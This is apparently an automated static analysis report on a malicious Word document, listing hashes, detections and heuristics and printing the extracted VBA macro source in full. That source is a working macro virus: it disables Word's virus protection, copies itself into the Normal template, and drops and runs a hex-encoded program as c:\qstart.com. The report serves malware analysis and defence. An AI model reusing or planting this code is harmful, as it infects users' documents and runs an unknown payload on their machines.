Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8897daf62eaeb2b…

MALICIOUS

Office (OLE)

29.5 KB Created: 1999-12-31 17:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 598cdc37f6f840d481a00903e445645a SHA-1: b94bf139a5c02d75445c6a48cab88916e1b00477 SHA-256: c8897daf62eaeb2b6ae38e1f9c154bc19bbb60c45e3e6debf55248461152c3b8
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

This Office document contains VBA macros, including AutoOpen and AutoClose functions, which are designed to execute automatically. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to run external commands. The presence of these auto-executing macros strongly suggests a malicious intent, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Trojan.Badmacro-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Badmacro-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8786 bytes
SHA-256: df2746d3a78dfa8b1b1335d993be6163aa6da616863a13756449b2d0948e5866
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Ñîâñåì ïëîõîé ìàêðîñ."
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
 On Error Resume Next
 Options.VirusProtection = False
 Options.SaveNormalPrompt = False
 Application.OrganizerCopy Source:=ActiveDocument.FullName, _
  Destination:=NormalTemplate.FullName, Name:="NewMacros", _
  Object:=wdOrganizerObjectProjectItems
 Application.OrganizerCopy Destination:=ActiveDocument.FullName, _
  Source:=NormalTemplate.FullName, Name:="NewMacros", _
  Object:=wdOrganizerObjectProjectItems
End Sub

Sub AutoClose()
Attribute AutoClose.VB_Description = "Reread Version 1.2!"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoClose"
 On Error Resume Next
 Dim stroka As String
 stroka = "BB 1B 01 B9 FF 00 31 C0 88 E0 E6 70 EB 00 8A 07 43 FE C4 " & _
    "E6 71 E2 F1 B4 4C CD 21 " & _
    "26 77 24 FF 16 47 00 17 02 98 26 02 50 80 00 00 40 65 F0 F2 0F " & _
    "80 02 00 3C 2F 00 30 71 22 00 00 00 00 00 00 00 00 FE 07 10 FF " & _
    "FF FD 07 3F 08 9C 00 3C 19 80 FF FF FF FD FF FF FF 0F 78 9B F8 " & _
    "19 88 FC F1 FC 00 88 FF 00 3F 02 07 F0 F6 DC FF FE 2A 64 00 00 " & _
    "BF 67 E0 FF 00 00 00 00 C0 80 FF FF 9F 98 FE 44 F7 7F FF 00 00 " & _
    "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 11 C5 FF FF " & _
    "FF 7F 26 77 24 FF 16 47 00 17 02 98 26 02 40 80 00 00 40 65 F0 " & _
    "F2 0F 80 02 00 3C 2F 00 30 71 22 00 00 00 00 00 00 00 00 FE 07 " & _
    "10 FF FF FD 07 3F 08 9C 00 3C 19 80 FF FF FF FD FF FF FF 0F 78 " & _
    "9B F8 19 88 FC F1 FC 00 88 FF 00 3F 02 07 F0 F6 DC FF FE 2A 64 " & _
    "00 00 BF 67 E0 FF 00 00 00 00 C0 80 FF FF 9F 98 FE 44 F7 7F FF " & _
    "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 11 C5 " & _
    "FF FF FF 7F"

 Options.VirusProtection = False
 Options.SaveNormalPrompt = False
 Application.OrganizerCopy Source:=ActiveDocument.FullName, _
  Destination:=NormalTemplate.FullName, Name:="NewMacros", _
  Object:=wdOrganizerObjectProjectItems
 Application.OrganizerCopy Destination:=ActiveDocument.FullName, _
  Source:=NormalTemplate.FullName, Name:="NewMacros", _
  Object:=wdOrganizerObjectProjectItems
If Day(Date) = 1 Or Day(Date) = 13 Then
Set myRange = ActiveDocument.Range(Start:=0, End:=0)
With myRange.Find
    .ClearFormatting
    .Text = "òóò"
    With .Replacement
        .ClearFormatting
        .Text = "òàì"
    End With
    .Execute Replace:=wdReplaceAll, Format:=True, MatchCase:=False, _
        MatchWholeWord:=False
End With
End If
If Day(Date) > 23 Then
Open "c:\qstart.com" For Output As #1
For A = 0 To Len(stroka) / 3 - 1
b = Val("&h" & Mid$(stroka, A * 3 + 1, 3))
Print #1, Chr$(b);
Next
Close #1
v = Shell("c:\qstart.com", vbMinimizedNoFocus)
End If
End Sub

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

' Processing file: /opt/analyzer/scan_staging/75cca1b0eb3941db8542d71e205d3f9f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/NewMacros - 4563 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	LineCont 0x0008 09 00 02 00 13 00 02 00
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "NewMacros"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #5:
' 	LineCont 0x0008 09 00 02 00 13 00 02 00
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	Ld NormalTemplate 
' 	MemLd
... (truncated)